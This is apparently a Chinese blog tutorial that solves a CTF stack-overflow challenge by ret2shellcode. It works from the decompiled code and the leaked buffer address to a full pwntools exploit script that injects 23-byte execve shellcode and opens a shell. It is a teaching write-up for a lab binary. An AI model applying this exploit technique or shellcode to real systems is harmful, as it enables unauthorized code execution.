前言:
在上一篇博客中我们实现了ret2text。这是非常理想的环境,没有任何保护措施,甚至还有一个后门函数。但是这种好事可不会一直发生,如果没有后门函数怎么办?
这次的目标是get shell。
例题:
为了保证大家在实验的时候有相同的效果,我们统一使用https://github.com/ctf-wiki/ctf-challenges中的里边ctf-challenges-master\pwn\stackoverflow\ret2shellcode\sniperoj-pwn100-shellcode-x86-64文件夹中的shellcode可执行文件。
分析:
IDA反编译:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0LL;
buf[1] = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to Sniperoj!");
printf("Do your kown what is it : [%p] ?\n", buf);
puts("Now give me your answer : ");
read(0, buf, 64uLL);
return 0;
}
然后checksec:
图1
开了PIE保护,但是NX保护没开,如果能绕过PIE就可以ret2shellcode。
分析源码发现,buf到rbp的空间为0x10,而read的大小为0x40,明显存在溢出,因此我们能够使用read来进行栈溢出,偏移量为0x10+8=24。
其次发现代码中已经动态的输出了buf的地址,因此随机化地址便可以进行绕过。
计算允许的shellcode长度
只读取了0x40字节,所以我们的payload最大就是0x40字节。
0x40-(0x10+8)- 8 = 32位,(0x10+8)为造成溢出填充的垃圾数据,后面8为是shellcode地址的长度。因此构建的shellcode必须在32位以内。
之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有32字节,因此并不适用,
需要我们到
https://www.exploit-db.com/shellcodes
http://shell-storm.org/shellcode/
查询构造相应的shellcode。
我们打算将shellcode放到一个相对于buf的位置,注意由于buf到ebp只有0x10,但是我们找到的shellcode有0x17字节,所以shellcode必须放到return address后边。如果shellcode放到buf里,shellcode里的一部分就会覆盖到return address,导致segment fault。所以payload 布局就是:
payload = padding+ shellcode相对于buf的位置+shellcode
exp:
from pwn import *
code = ELF('./shellcode')
sh = process('./shellcode')
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
sh.recvuntil(b'[')
buf_addr = sh.recvuntil(b']', drop=True)#获得输出的buf地址
buf_addr = int(buf_addr, 16)
payload = b'b' * 24 + p64(buf_addr + 32) + shellcode_x64
print(payload)
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
结果:
图2